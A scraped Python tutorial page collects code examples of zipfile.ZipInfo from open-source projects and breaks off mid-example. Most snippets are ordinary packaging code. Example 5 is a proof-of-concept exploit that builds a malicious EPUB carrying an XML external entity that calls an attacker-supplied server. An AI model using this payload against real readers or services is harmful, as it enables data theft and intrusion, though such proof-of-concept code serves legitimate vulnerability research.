1. 程式人生 > >python學習筆記之50個zipfile.zipinfo例子

python學習筆記之50個zipfile.zipinfo例子

Example 1
Project: build-calibre Author: kovidgoyal File: init.py View Source Project 7 votes vote down vote up

def add_dir_to_zip(zf, path, prefix=''):
    '''
    Add a directory recursively to the zip file with an optional prefix.
    '''
    if prefix:
        zi = zipfile.ZipInfo(prefix + '/'
) zi.external_attr = 16 zf.writestr(zi, '') cwd = os.path.abspath(os.getcwd()) try: os.chdir(path) fp = (prefix + ('/' if prefix else '')).replace('//', '/') for f in os.listdir('.'): arcname = fp + f if os.path.isdir(f): add_dir_to_zip(zf, f, prefix=arcname) else
: zf.write(f, arcname) finally: os.chdir(cwd)

Example 2
Project: gimel Author: Alephbet File: deploy.py View Source Project 6 votes vote down vote up

def prepare_zip():
    from pkg_resources import resource_filename as resource
    from config import config
    from
json import dumps logger.info('creating/updating gimel.zip') with ZipFile('gimel.zip', 'w', ZIP_DEFLATED) as zipf: info = ZipInfo('config.json') info.external_attr = 0o664 << 16 zipf.writestr(info, dumps(config)) zipf.write(resource('gimel', 'config.py'), 'config.py') zipf.write(resource('gimel', 'gimel.py'), 'gimel.py') zipf.write(resource('gimel', 'logger.py'), 'logger.py') for root, dirs, files in os.walk(resource('gimel', 'vendor')): for file in files: real_file = os.path.join(root, file) relative_file = os.path.relpath(real_file, resource('gimel', '')) zipf.write(real_file, relative_file)

Example 3
Project: SDK Author: Keypirinha File: _zipfile.py View Source Project 6 votes vote down vote up

def write_empty_dir(self, arcname, time_spec=TimeSpec.NOW, comment=None):
        """Explicitly add an empty directory entry to the archive"""
        self._checkzfile()

        arcname = self.cleanup_name(arcname, True)
        arcname_enc, arcname_is_utf8 = self.encode_name(arcname)
        comment_is_utf8 = False

        zinfo = zipfile.ZipInfo(arcname_enc)
        #zinfo.filename = arcname_enc
        zinfo.date_time = self.timespec_to_zipinfo(time_spec)
        zinfo.compress_type = zipfile.ZIP_STORED
        zinfo.external_attr = 0o40775 << 16 # unix attributes drwxr-xr-x
        zinfo.external_attr |= 0x10 # MS-DOS directory flag
        if comment is not None:
            zinfo.comment, comment_is_utf8 = self.encode_name(comment)
        if arcname_is_utf8 or comment_is_utf8:
            zinfo.flag_bits |= 1 << 11

        self.zfile.writestr(zinfo, b'') 

Example 4
Project: srctools Author: TeamSpen210 File: filesys.py View Source Project 6 votes vote down vote up

def open_bin(self, name: str):
        """Open a file in bytes mode or raise FileNotFoundError.

        The filesystem needs to be open while accessing this.
        """
        self._check_open()

        # We need the zipinfo object.
        if isinstance(name, ZipInfo):
            info = name
        else:
            name = name.replace('\\', '/')
            try:
                info = self._name_to_info[name.casefold()]
            except KeyError:
                raise FileNotFoundError('{}:{}'.format(self.path, name)) from None

        return self._ref.open(info) 

Example 5
Project: poc Author: sourceincite File: SRC-2017-0006.py View Source Project 6 votes vote down vote up

def build_poc(server):
    xxe = """<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://%s:9090/">]>
<container version="1.0" xmlns="urn:oasis:names:tc:opendocument:xmlns:container">
    <rootfiles>
        <rootfile full-path="content.opf" media-type="application/oebps-package+xml">&xxe;</rootfile>
    </rootfiles>
</container>""" % server

    f = StringIO()
    z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
    zipinfo = zipfile.ZipInfo("META-INF/container.xml")
    zipinfo.external_attr = 0777 << 16L
    z.writestr(zipinfo, xxe)
    z.close()
    epub = open('poc.epub','wb')
    epub.write(f.getvalue())
    epub.close() 

Example 6
Project: build-calibre Author: kovidgoyal File: init.py View Source Project 6 votes vote down vote up

def add_to_zipfile(zf, name, base, zf_names):
    abspath = j(base, name)
    name = name.replace(os.sep, '/')
    if name in zf_names:
        raise ValueError('Already added %r to zipfile [%r]' % (name, abspath))
    zinfo = zipfile.ZipInfo(filename=name, date_time=(1980, 1, 1, 0, 0, 0))

    if os.path.isdir(abspath):
        if not os.listdir(abspath):
            return
        zinfo.external_attr = 0o700 << 16
        zf.writestr(zinfo, '')
        for x in os.listdir(abspath):
            add_to_zipfile(zf, name + os.sep + x, base, zf_names)
    else:
        ext = os.path.splitext(name)[1].lower()
        if ext in ('.dll',):
            raise ValueError('Cannot add %r to zipfile' % abspath)
        zinfo.external_attr = 0o600 << 16
        if ext in ('.py', '.pyc', '.pyo'):
            with open(abspath, 'rb') as f:
                zf.writestr(zinfo, f.read())

    zf_names.add(name) 

Example 7
Project: chalktalk_docs Author: loremIpsum1771 File: test_pkg_resources.py View Source Project 6 votes vote down vote up

def setup_class(cls):
        "create a zip egg and add it to sys.path"
        egg = tempfile.NamedTemporaryFile(suffix='.egg', delete=False)
        zip_egg = zipfile.ZipFile(egg, 'w')
        zip_info = zipfile.ZipInfo()
        zip_info.filename = 'mod.py'
        zip_info.date_time = cls.ref_time.timetuple()
        zip_egg.writestr(zip_info, 'x = 3\n')
        zip_info = zipfile.ZipInfo()
        zip_info.filename = 'data.dat'
        zip_info.date_time = cls.ref_time.timetuple()
        zip_egg.writestr(zip_info, 'hello, world!')
        zip_egg.close()
        egg.close()

        sys.path.append(egg.name)
        cls.finalizers.append(EggRemover(egg.name)) 

Example 8
Project: python- Author: secondtonone1 File: install.py View Source Project 5 votes vote down vote up

def open(self, name_or_info, mode="r", pwd=None):
        """Return file-like object for 'name'."""
        # A non-monkey-patched version would contain most of zipfile.py
        ef = zipfile.ZipFile.open(self, name_or_info, mode, pwd)
        if isinstance(name_or_info, zipfile.ZipInfo):
            name = name_or_info.filename
        else:
            name = name_or_info
        if (name in self._expected_hashes
            and self._expected_hashes[name] != None):
            expected_hash = self._expected_hashes[name]
            try:
                _update_crc_orig = ef._update_crc
            except AttributeError:
                warnings.warn('Need ZipExtFile._update_crc to implement '
                              'file hash verification (in Python >= 2.7)')
                return ef
            running_hash = self._hash_algorithm()
            if hasattr(ef, '_eof'):  # py33
                def _update_crc(data):
                    _update_crc_orig(data)
                    running_hash.update(data)
                    if ef._eof and running_hash.digest() != expected_hash:
                        raise BadWheelFile("Bad hash for file %r" % ef.name)
            else:
                def _update_crc(data, eof=None):
                    _update_crc_orig(data, eof=eof)
                    running_hash.update(data)
                    if eof and running_hash.digest() != expected_hash:
                        raise BadWheelFile("Bad hash for file %r" % ef.name)
            ef._update_crc = _update_crc
        elif self.strict and name not in self._expected_hashes:
            raise BadWheelFile("No expected hash for file %r" % ef.name)
        return ef 

Example 9
Project: my-first-blog Author: AnkurBegining File: install.py View Source Project 5 votes vote down vote up

def open(self, name_or_info, mode="r", pwd=None):
        """Return file-like object for 'name'."""
        # A non-monkey-patched version would contain most of zipfile.py
        ef = zipfile.ZipFile.open(self, name_or_info, mode, pwd)
        if isinstance(name_or_info, zipfile.ZipInfo):
            name = name_or_info.filename
        else:
            name = name_or_info

        if name in self._expected_hashes and self._expected_hashes[name] is not None:
            expected_hash = self._expected_hashes[name]
            try:
                _update_crc_orig = ef._update_crc
            except AttributeError:
                warnings.warn('Need ZipExtFile._update_crc to implement '
                              'file hash verification (in Python >= 2.7)')
                return ef
            running_hash = self._hash_algorithm()
            if hasattr(ef, '_eof'):  # py33
                def _update_crc(data):
                    _update_crc_orig(data)
                    running_hash.update(data)
                    if ef._eof and running_hash.digest() != expected_hash:
                        raise BadWheelFile("Bad hash for file %r" % ef.name)
            else:
                def _update_crc(data, eof=None):
                    _update_crc_orig(data, eof=eof)
                    running_hash.update(data)
                    if eof and running_hash.digest() != expected_hash:
                        raise BadWheelFile("Bad hash for file %r" % ef.name)
            ef._update_crc = _update_crc
        elif self.strict and name not in self._expected_hashes:
            raise BadWheelFile("No expected hash for file %r" % ef.name)
        return ef 

Example 10
Project: python-libjuju Author: juju File: model.py View Source Project 6 votes vote down

def _write_symlink(self, zf, link_target, link_path):
        """Package symlinks with appropriate zipfile metadata."""
        info = zipfile.ZipInfo()
        info.filename = link_path
        info.create_system = 3
        # Magic code for symlinks / py2/3 compat
        # 27166663808 = (stat.S_IFLNK | 0755) << 16
        info.external_attr = 2716663808
        zf.writestr(info, link_target) 

Example 11
Project: Flask_Blog Author: sugarguo File: req.py View Source Project 5 votes vote down vote up

def archive(self, build_dir):
        assert self.source_dir
        create_archive = True
        archive_name = '%s-%s.zip' % (self.name, self.installed_version)
        archive_path = os.path.join(build_dir, archive_name)
        if os.path.exists(archive_path):
            response = ask_path_exists(
                'The file %s exists. (i)gnore, (w)ipe, (b)ackup ' %
                display_path(archive_path), ('i', 'w', 'b'))
            if response == 'i':
                create_archive = False
            elif response == 'w':
                logger.warn('Deleting %s' % display_path(archive_path))
                os.remove(archive_path)
            elif response == 'b':
                dest_file = backup_dir(archive_path)
                logger.warn('Backing up %s to %s'
                            % (display_path(archive_path), display_path(dest_file)))
                shutil.move(archive_path, dest_file)
        if create_archive:
            zip = zipfile.ZipFile(archive_path, 'w', zipfile.ZIP_DEFLATED)
            dir = os.path.normcase(os.path.abspath(self.source_dir))
            for dirpath, dirnames, filenames in os.walk(dir):
                if 'pip-egg-info' in dirnames:
                    dirnames.remove('pip-egg-info')
                for dirname in dirnames:
                    dirname = os.path.join(dirpath, dirname)
                    name = self._clean_zip_name(dirname, dir)
                    zipdir = zipfile.ZipInfo(self.name + '/' + name + '/')
                    zipdir.external_attr = 0x1ED << 16 # 0o755
                    zip.writestr(zipdir, '')
                for filename in filenames:
                    if filename == PIP_DELETE_MARKER_FILENAME:
                        continue
                    filename = os.path.join(dirpath, filename)
                    name = self._clean_zip_name(filename, dir)
                    zip.write(filename, self.name + '/' + name)
            zip.close()
            logger.indent -= 2
            logger.notify('Saved %s' % display_path(archive_path)) 

Example 12
Project: Flask_Blog Author: sugarguo File: environment.py View Source Project 5 votes vote down vote up

def _extract(self, member, path=None, pwd=None):
    """for zipfile py2.5 borrowed from cpython"""
    if not isinstance(member, zipfile.ZipInfo):
        member = self.getinfo(member)

    if path is None:
        path = os.getcwd()

    return _extract_member(self, member, path, pwd) 

Example 13
Project: swjtu-pyscraper Author: Desgard File: install.py View Source Project 5 votes vote down vote up

def open(self, name_or_info, mode="r", pwd=None):
        """Return file-like object for 'name'."""
        # A non-monkey-patched version would contain most of zipfile.py
        ef = zipfile.ZipFile.open(self, name_or_info, mode, pwd)
        if isinstance(name_or_info, zipfile.ZipInfo):
            name = name_or_info.filename
        else:
            name = name_or_info
        if (name in self._expected_hashes
            and self._expected_hashes[name] != None):
            expected_hash = self._expected_hashes[name]
            try:
                _update_crc_orig = ef._update_crc
            except AttributeError:
                warnings.warn('Need ZipExtFile._update_crc to implement '
                              'file hash verification (in Python >= 2.7)')
                return ef
            running_hash = self._hash_algorithm()
            if hasattr(ef, '_eof'):  # py33
                def _update_crc(data):
                    _update_crc_orig(data)
                    running_hash.update(data)
                    if ef._eof and running_hash.digest() != expected_hash:
                        raise BadWheelFile("Bad hash for file %r" % ef.name)
            else:
                def _update_crc(data, eof=None):
                    _update_crc_orig(data, eof=eof)
                    running_hash.update(data)
                    if eof and running_hash.digest() != expected_hash:
                        raise BadWheelFile("Bad hash for file %r" % ef.name)
            ef._update_crc = _update_crc
        elif self.strict and name not in self._expected_hashes:
            raise BadWheelFile("No expected hash for file %r" % ef.name)
        return ef 

Example 14
Project: noc-orchestrator Author: DirceuSilvaLabs File: install.py View Source Project 5 votes vote down vote up

def open(self, name_or_info, mode="r", pwd=None):
        """Return file-like object for 'name'."""
        # A non-monkey-patched version would contain most of zipfile.py
        ef = zipfile.ZipFile.open(self, name_or_info, mode, pwd)
        if isinstance(name_or_info, zipfile.ZipInfo):
            name = name_or_info.filename
        else:
            name = name_or_info
        if (name in self._expected_hashes
            and self._expected_hashes[name] != None):
            expected_hash = self._expected_hashes[name]
            try:
                _update_crc_orig = ef._update_crc
            except AttributeError:
                warnings.warn('Need ZipExtFile._update_crc to implement '
                              'file hash verification (in Python >= 2.7)')
                return ef
            running_hash = self._hash_algorithm()
            if hasattr(ef, '_eof'):  # py33
                def _update_crc(data):
                    _update_crc_orig(data)
                    running_hash.update(data)
                    if ef._eof and running_hash.digest() != expected_hash:
                        raise BadWheelFile("Bad hash for file %r" % ef.name)
            else:
                def _update_crc(data, eof=None):
                    _update_crc_orig(data, eof=eof)
                    running_hash.update(data)
                    if eof and running_hash.digest() != expected_hash:
                        raise BadWheelFile("Bad hash for file %r" % ef.name)
            ef._update_crc = _update_crc
        elif self.strict and name not in self._expected_hashes:
            raise BadWheelFile("No expected hash for file %r" % ef.name)
        return ef 

Example 15
Project: noc-orchestrator Author: DirceuSilvaLabs File: install.py View Source Project 5 votes vote down vote up

def open(self, name_or_info, mode="r", pwd=None):
        """Return file-like object for 'name'."""
        # A non-monkey-patched version would contain most of zipfile.py
        ef = zipfile.ZipFile.open(self, name_or_info, mode, pwd)
        if isinstance(name_or_info, zipfile.ZipInfo):
            name = name_or_info.filename
        else:
            name = name_or_info
        if (name in self._expected_hashes
            and self._expected_hashes[name] != None):
            expected_hash = self._expected_hashes[name]
            try:
                _update_crc_orig = ef._update_crc
            except AttributeError:
                warnings.warn('Need ZipExtFile._update_crc to implement '
                              'file hash verification (in Python >= 2.7)')
                return ef
            running_hash = self._hash_algorithm()
            if hasattr(ef, '_eof'):  # py33
                def _update_crc(data):
                    _update_crc_orig(data)
                    running_hash.update(data)
                    if ef._eof and running_hash.digest() != expected_hash:
                        raise BadWheelFile("Bad hash for file %r" % ef.name)
            else:
                def _update_crc(data, eof=None):
                    _update_crc_orig(data, eof=eof)
                    running_hash.update(data)
                    if eof and running_hash.digest() != expected_hash:
                        raise BadWheelFile("Bad hash for file %r" % ef.name)
            ef._update_crc = _update_crc
        elif self.strict and name not in self._expected_hashes:
            raise BadWheelFile("No expected hash for file %r" % ef.name)
        return ef 

Example 16
Project: mongodb_backup_script Author: hxt168 File: fun.py View Source Project 5 votes vote down vote up

def zip_files(dirPath, zipFilePath=None, includeDirInZip=True):
    start_time = time.time();
    if not zipFilePath:
        zipFilePath = dirPath + ".zip";
    if not os.path.isdir(dirPath):
        raise OSError("dirPath "+dirPath+" does not.");
    parentDir, dirToZip = os.path.split(dirPath)
    #Little nested function to prepare the proper archive path
    def trimPath(path):
        archivePath = path.replace(parentDir, "", 1)
        #if parentDir:
        #   archivePath = archivePath.replace(os.path.sep, "", 1)
        if not includeDirInZip:
            archivePath = archivePath.replace(dirToZip + os.path.sep, "", 1);
        return os.path.normcase(archivePath)
    outFile = zipfile.ZipFile(zipFilePath,"w",compression=zipfile.ZIP_DEFLATED,allowZip64=True)
    for(archiveDirPath,dirNames,fileNames) in os.walk(dirPath):
        for fileName in fileNames:
            filePath=os.path.join(archiveDirPath,fileName);
            outFile.write(filePath, trimPath(filePath));
        #Make sure we get empty directories as well
        if not fileNames and not dirNames:
            zipInfo = zipfile.ZipInfo(trimPath(archiveDirPath) + "/")
            #some web sites suggest doing
            #zipInfo.external_attr = 16
            #or
            #zipInfo.external_attr = 48
            #Here to allow for inserting an empty directory.  Still TBD/TODO.
            outFile.writestr(zipInfo, "");
    outFile.close()
    print_cost_time("zip files", start_time)    


#compress direactory to zip,need linux 

Example 17
Project: jira_worklog_scanner Author: pgarneau File: install.py View Source Project 5 votes vote down vote up

def open(self, name_or_info, mode="r", pwd=None):
        """Return file-like object for 'name'."""
        # A non-monkey-patched version would contain most of zipfile.py
        ef = zipfile.ZipFile.open(self, name_or_info, mode, pwd)
        if isinstance(name_or_info, zipfile.ZipInfo):
            name = name_or_info.filename
        else:
            name = name_or_info
        if (name in self._expected_hashes
            and self._expected_hashes[name] != None):
            expected_hash = self._expected_hashes[name]
            try:
                _update_crc_orig = ef._update_crc
            except AttributeError:
                warnings.warn('Need ZipExtFile._update_crc to implement '
                              'file hash verification (in Python >= 2.7)')
                return ef
            running_hash = self._hash_algorithm()
            if hasattr(ef, '_eof'):  # py33
                def _update_crc(data):
                    _update_crc_orig(data)
                    running_hash.update(data)
                    if ef._eof and running_hash.digest() != expected_hash:
                        raise BadWheelFile("Bad hash for file %r" % ef.name)
            else:
                def _update_crc(data, eof=None):
                    _update_crc_orig(data, eof=eof)
                    running_hash.update(data)
                    if eof and running_hash.digest() != expected_hash:
                        raise BadWheelFile("Bad hash for file %r" % ef.name)
            ef._update_crc = _update_crc
        elif self.strict and name not in self._expected_hashes:
            raise BadWheelFile("No expected hash for file %r" % ef.name)
        return ef 

Example 18
Project: zanph Author: zanph File: install.py View Source Project 5 votes vote down vote up

def open(self, name_or_info, mode="r", pwd=None):
        """Return file-like object for 'name'."""
        # A non-monkey-patched version would contain most of zipfile.py
        ef = zipfile.ZipFile.open(self, name_or_info, mode, pwd)
        if isinstance(name_or_info, zipfile.ZipInfo):
            name = name_or_info.filename
        else:
            name = name_or_info
        if (name in self._expected_hashes
            and self._expected_hashes[name] != None):
            expected_hash = self._expected_hashes[name]
            try:
                _update_crc_orig = ef._update_crc
            except AttributeError:
                warnings.warn('Need ZipExtFile._update_crc to implement '
                              'file hash verification (in Python >= 2.7)')
                return ef
            running_hash = self._hash_algorithm()
            if hasattr(ef, '_eof'):  # py33
                def _update_crc(data):
                    _update_crc_orig(data)
                    running_hash.update(data)
                    if ef._eof and running_hash.digest() != expected_hash:
                        raise BadWheelFile("Bad hash for file %r" % ef.name)
            else:
                def _update_crc(data, eof=None):
                    _update_crc_orig(data, eof=eof)
                    running_hash.update(data)
                    if eof and running_hash.digest() != expected_hash:
                        raise BadWheelFile("Bad hash for file %r" % ef.name)
            ef._update_crc = _update_crc
        elif self.strict and name not in self._expected_hashes:
            raise BadWheelFile("No expected hash for file %r" % ef.name)
        return ef 

Example 19
Project: hostapd-mana Author: adde88 File: req.py View Source Project 5 votes vote down vote up

def archive(self, build_dir):
        assert self.source_dir
        create_archive = True
        archive_name = '%s-%s.zip' % (self.name, self.installed_version)
        archive_path = os.path.join(build_dir, archive_name)
        if os.path.exists(archive_path):
            response = ask_path_exists(
                'The file %s exists. (i)gnore, (w)ipe, (b)ackup ' %
                display_path(archive_path), ('i', 'w', 'b'))
            if response == 'i':
                create_archive = False
            elif response == 'w':
                logger.warn('Deleting %s' % display_path(archive_path))
                os.remove(archive_path)
            elif response == 'b':
                dest_file = backup_dir(archive_path)
                logger.warn('Backing up %s to %s'
                            % (display_path(archive_path), display_path(dest_file)))
                shutil.move(archive_path, dest_file)
        if create_archive:
            zip = zipfile.ZipFile(archive_path, 'w', zipfile.ZIP_DEFLATED)
            dir = os.path.normcase(os.path.abspath(self.source_dir))
            for dirpath, dirnames, filenames in os.walk(dir):
                if 'pip-egg-info' in dirnames:
                    dirnames.remove('pip-egg-info')
                for dirname in dirnames:
                    dirname = os.path.join(dirpath, dirname)
                    name = self._clean_zip_name(dirname, dir)
                    zipdir = zipfile.ZipInfo(self.name + '/' + name + '/')
                    zipdir.external_attr = 0x1ED << 16 # 0o755
                    zip.writestr(zipdir, '')
                for filename in filenames:
                    if filename == PIP_DELETE_MARKER_FILENAME:
                        continue
                    filename = os.path.join(dirpath, filename)
                    name = self._clean_zip_name(filename, dir)
                    zip.write(filename, self.name + '/' + name)
            zip.close()
            logger.indent -= 2
            logger.notify('Saved %s' % display_path(archive_path)) 

Example 20
Project: pyconjp-website Author: pyconjp File: views.py View Source Project 5 votes vote down vote up

def sponsor_zip_logo_files(request):
    """Return a zip file of sponsor web and print logos"""

    zip_stringio = StringIO()
    zipfile = ZipFile(zip_stringio, "w")
    try:
        benefits = Benefit.objects.all()
        for benefit in benefits:
            dir_name = benefit.name.lower().replace(" ", "_").replace('/', '_')
            for level in SponsorLevel.objects.all():
                level_name = level.name.lower().replace(" ", "_").replace('/', '_')
                for sponsor in Sponsor.objects.filter(level=level, active=True):
                    sponsor_name = sponsor.name.lower().replace(" ", "_").replace('/', '_')
                    full_dir = "/".join([dir_name, level_name, sponsor_name])
                    for sponsor_benefit in SponsorBenefit.objects.filter(
                        benefit=benefit,
                        sponsor=sponsor,
                        active=True,
                    ).exclude(upload=''):
                        if os.path.exists(sponsor_benefit.upload.path):
                            modtime = time.gmtime(os.stat(sponsor_benefit.upload.path).st_mtime)
                            with open(sponsor_benefit.upload.path, "rb") as f:
                                fname = os.path.split(sponsor_benefit.upload.name)[-1]
                                zipinfo = ZipInfo(filename=full_dir + "/" + fname,
                                                  date_time=modtime)
                                zipfile.writestr(zipinfo, f.read())
                        else:
                            log.debug("No such sponsor file: %s" % sponsor_benefit.upload.path)
    finally:
        zipfile.close()

    response = HttpResponse(zip_stringio.getvalue(),
                            content_type="application/zip")
    prefix = settings.CONFERENCE_URL_PREFIXES[settings.CONFERENCE_ID]
    response['Content-Disposition'] = \
        'attachment; filename="pycon_%s_sponsorlogos.zip"' % prefix
    return response 

Example 21
Project: wheel Author: pypa File: install.py View Source Project 5 votes vote down vote up

def open(self, name_or_info, mode="r", pwd=None):
        """Return file-like object for 'name'."""
        # A non-monkey-patched version would contain most of zipfile.py
        ef = zipfile.ZipFile.open(self, name_or_info, mode, pwd)
        if isinstance(name_or_info, zipfile.ZipInfo):
            name = name_or_info.filename
        else:
            name = name_or_info

        if name in self._expected_hashes and self._expected_hashes[name] is not None:
            expected_hash = self._expected_hashes[name]
            try:
                _update_crc_orig = ef._update_crc
            except AttributeError:
                warnings.warn('Need ZipExtFile._update_crc to implement '
                              'file hash verification (in Python >= 2.7)')
                return ef
            running_hash = self._hash_algorithm()
            if hasattr(ef, '_eof'):  # py33
                def _update_crc(data):
                    _update_crc_orig(data)
                    running_hash.update(data)
                    if ef._eof and running_hash.digest() != expected_hash:
                        raise BadWheelFile("Bad hash for file %r" % ef.name)
            else:
                def _update_crc(data, eof=None):
                    _update_crc_orig(data, eof=eof)
                    running_hash.update(data)
                    if eof and running_hash.digest() != expected_hash:
                        raise BadWheelFile("Bad hash for file %r" % ef.name)
            ef._update_crc = _update_crc
        elif self.strict and name not in self._expected_hashes:
            raise BadWheelFile("No expected hash for file %r" % ef.name)
        return ef 

Example 22
Project: webhook2lambda2sqs Author: jantman File: test_tf_generator.py View Source Project 5 votes vote down vote up

def test_write_zip(self):
        with patch('%s.zipfile.ZipFile' % pbm, autospec=True) as mock_zf:
            with patch('%s.logger' % pbm, autospec=True) as mock_logger:
                self.cls._write_zip('myfsrc', 'mypath.zip')
        # the only way I can find to capture attributes being set on the ZipInfo
        # is to not mock it, but use a real ZipInfo object. Unfortunately, that
        # makes assertin on calls a bit more difficult...
        assert len(mock_zf.mock_calls) == 4
        assert mock_zf.mock_calls[0] == call('mypath.zip', 'w')
        assert mock_zf.mock_calls[1] == call().__enter__()
        assert mock_zf.mock_calls[3] == call().__exit__(None, None, None)
        # ok, now handle the second call, which should have the ZipInfo
        # as its first argument...
        # test that it's the right chained method call
        assert mock_zf.mock_calls[2][0] == '().__enter__().writestr'
        # test its arguments
        arg_tup = mock_zf.mock_calls[2][1]
        assert isinstance(arg_tup[0], ZipInfo)
        assert arg_tup[0].filename == 'webhook2lambda2sqs_func.py'
        assert arg_tup[0].date_time == (2016, 7, 1, 2, 3, 4)
        assert arg_tup[0].external_attr == 0x0755 << 16
        assert arg_tup[1] == 'myfsrc'
        assert mock_logger.mock_calls == [
            call.debug('setting zipinfo date to: %s', (2016, 7, 1, 2, 3, 4)),
            call.debug('setting zipinfo file mode to: %s', (0x0755 << 16)),
            call.debug('writing zip file at: %s', 'mypath.zip')
        ] 

Example 23
Project: webhook2lambda2sqs Author: jantman File: tf_generator.py View Source Project 5 votes vote down vote up

def _write_zip(self, func_src, fpath):
        """
        Write the function source to a zip file, suitable for upload to
        Lambda.

        Note there's a bit of undocumented magic going on here; Lambda needs
        the execute bit set on the module with the handler in it (i.e. 0755
        or 0555 permissions). There doesn't seem to be *any* documentation on
        how to do this in the Python docs. The only real hint comes from the
        source code of ``zipfile.ZipInfo.from_file()``, which includes:

            st = os.stat(filename)
            ...
            zinfo.external_attr = (st.st_mode & 0xFFFF) << 16  # Unix attributes

        :param func_src: lambda function source
        :type func_src: str
        :param fpath: path to write the zip file at
        :type fpath: str
        """
        # get timestamp for file
        now = datetime.now()
        zi_tup = (now.year, now.month, now.day, now.hour, now.minute,
                  now.second)
        logger.debug('setting zipinfo date to: %s', zi_tup)
        # create a ZipInfo so we can set file attributes/mode
        zinfo = zipfile.ZipInfo('webhook2lambda2sqs_func.py', zi_tup)
        # set file mode
        zinfo.external_attr = 0x0755 << 16
        logger.debug('setting zipinfo file mode to: %s', zinfo.external_attr)
        logger.debug('writing zip file at: %s', fpath)
        with zipfile.ZipFile(fpath, 'w') as z:
            z.writestr(zinfo, func_src) 

Example 24
Project: Sci-Finder Author: snverse File: install.py View Source Project 5 votes vote down vote up

def open(self, name_or_info, mode="r", pwd=None):
        """Return file-like object for 'name'."""
        # A non-monkey-patched version would contain most of zipfile.py
        ef = zipfile.ZipFile.open(self, name_or_info, mode, pwd)
        if isinstance(name_or_info, zipfile.ZipInfo):
            name = name_or_info.filename
        else:
            name = name_or_info
        if (name in self._expected_hashes
            and self._expected_hashes[name] != None):
            expected_hash = self._expected_hashes[name]
            try:
                _update_crc_orig = ef._update_crc
            except AttributeError:
                warnings.warn('Need ZipExtFile._update_crc to implement '
                              'file hash verification (in Python >= 2.7)')
                return ef
            running_hash = self._hash_algorithm()
            if hasattr(ef, '_eof'):  # py33
                def _update_crc(data):
                    _update_crc_orig(data)
                    running_hash.update(data)
                    if ef._eof and running_hash.digest() != expected_hash:
                        raise BadWheelFile("Bad hash for file %r" % ef.name)
            else:
                def _update_crc(data, eof=None):
                    _update_crc_orig(data, eof=eof)
                    running_hash.update(data)
                    if eof and running_hash.digest() != expected_hash:
                        raise BadWheelFile("Bad hash for file %r" % ef.name)
            ef._update_crc = _update_crc
        elif self.strict and name not 
            
           

相關推薦

python學習筆記50zipfile.zipinfo例子

Example 1 Project: build-calibre Author: kovidgoyal File: init.py View Source Project 7 votes vote down vote up def

python學習筆記列表與元組

長度 bsp 最大 一般來說 設置 概述 檢查 常用 而且 一、概述 python包含6種內建的序列,其中列表和元組是最常用的兩種類型。列表和元組的主要區別在於,列表可以修改,元組則不能修改 使用上,如果要根據要求來添加元素,應當使用列表;而由於要求序列不可修改時,此時

Python學習筆記基本數據結構方法

ack 字典 訪問 mos span 函數返回 重復 空格 不存在 通用序列操作: 索引,序列中元素從0開始遞增,這些元素可以通過編號訪問 分片,使用索引只能訪問單個元素,分片操作可以訪問一定範圍內的元素。list[a:b]:a和b是兩個索引作為邊界,包含索引a對應函數,

Python學習筆記文件和流

關閉 write finall 存儲路徑 大文件 描述 可選參數 針對 硬盤 打開文件:open(name[,mode[,buffering]]),返回一個文件對象,模式(mode)和緩沖(buffering)是兩個可選參數。 假設有一個名為somefile.txt的文件,

python學習筆記python-nmap安裝

python首先最新的鏈接地址和《python絕技》上不同,已經修改。下載後tar,然後運行python setup.py installroot@kali:/# wget http://xael.org/pages/python-nmap-0.6.1.tar.gz--2017-03-22 13:41:38-

Python學習筆記selenium 定制啟動 chrome 的選項

httpproxy int debugger 地址 阻止 mac mozilla 我們 from 學習地址:http://blog.csdn.net/vinson0526/article/details/51850929 使用 selenium 時,我們可能需要對 ch

python學習筆記split()方法與with

很好 self 所有 簡單 car 版本 指定 操作 發生 Python split()方法 以下內容摘自:http://www.runoob.com/python/att-string-split.html 描述 Python split()通過指定分隔符對字符串進行切片

Python學習筆記函數與正則

地址 tee 大於等於 格式 匿名函數 驗證碼 分組 indent 引用 Python函數 Pycharm 常用快捷鍵,例如復制當前行、刪除當前行、批量註釋、縮進、查找和替換。 常用快捷鍵的查詢和配置:Keymap Ctrl + D:復制當前行 Ctrl + E:刪除當前

Python 學習筆記random 模塊

class div .cn 使用 學習 隨機 裏的 logs .com 要使用Random 模塊裏的一些隨機數方法需要先導入random 模塊。 下面是幾種常用的隨機數方法: Python 學習筆記之random 模塊

Python學習筆記面對象與錯誤處理

實現 單繼承 父類 成對 數據類型 itl 同時 屬性 子類 反射 __import__()函數用於加載類和函數 __import__(name[, globals[, locals[, fromlist[, level]]]]) 參數說明: n

Python 學習筆記字符串

ali 列表 rjust alt src 運算 檢測 ror 技術 1.字符串的創建: 在Python中,字符串的創建簡單易懂 創建一個空的字符串,str = str(); 可以直接創建 str = "i love py3" 這種方式作用相當於:str = str(

python學習筆記socket(第七天)

.cn 七天 就是 模塊 AR 操作 alt 分享圖片 python學習 參考文檔: 1、金角大王博客:http://www.cnblogs.com/alex3714/articles/5227251.html

Python 學習筆記 day4 sict和set

變慢 現象 重復 不存在 取出 .get 操作 新的 運行 dict -- dictionary 一組key的集合,包含key與value的對應。 Python內置的字典,在其他語言中成為map,使用key-value存儲,具有幾塊的查找速度。 和li

python學習筆記collections模塊的使用

lec end pri () 索引 point ram 列表 學習筆記 namedtuple deque OrderedDict Counter 一、namedtuple 用於創建一個自定義的tuple對象,可以用於給數組重命名,提高數組索引可讀性。 示例: &

自動化測試學習筆記第一代碼

href 自動化 筆記 定義 imp 信息 查找 clas 驅動 實現第一個自動化代碼,控制瀏覽器打開網址,輸入信息並點擊按鈕。 ①導入selenium相關模塊 ②調用selenium的瀏覽器驅動 ③通過驅動訪問網址URL ④通過驅動操作頁面元素 ⑤通過驅動關閉瀏覽器

Python學習筆記裝飾器原理

開放 直接 蘋果 def 復用 學習 clas bsp pytho 1 def decorator(fn): 2 def wrapper(): 3 print("詢價") 4 fn() 5 print("購

Python 學習筆記 Numpy 庫——數組基礎

array oat dot tac 運算 stop ogr 數據類型 總數 1. 初識數組 import numpy as np a = np.arange(15) a = a.reshape(3, 5) print(a.ndim, a.shape, a.dtype, a.

Python 學習筆記 Numpy 庫——文件操作

term ray bin org float blog 讀取 pre ted 1. 讀寫 txt 文件 a = list(range(0, 100)) a = np.array(a) # a.dtype = np.int64 np.savetxt("filename.txt

python學習筆記四-多進程&多線程&異步非阻塞

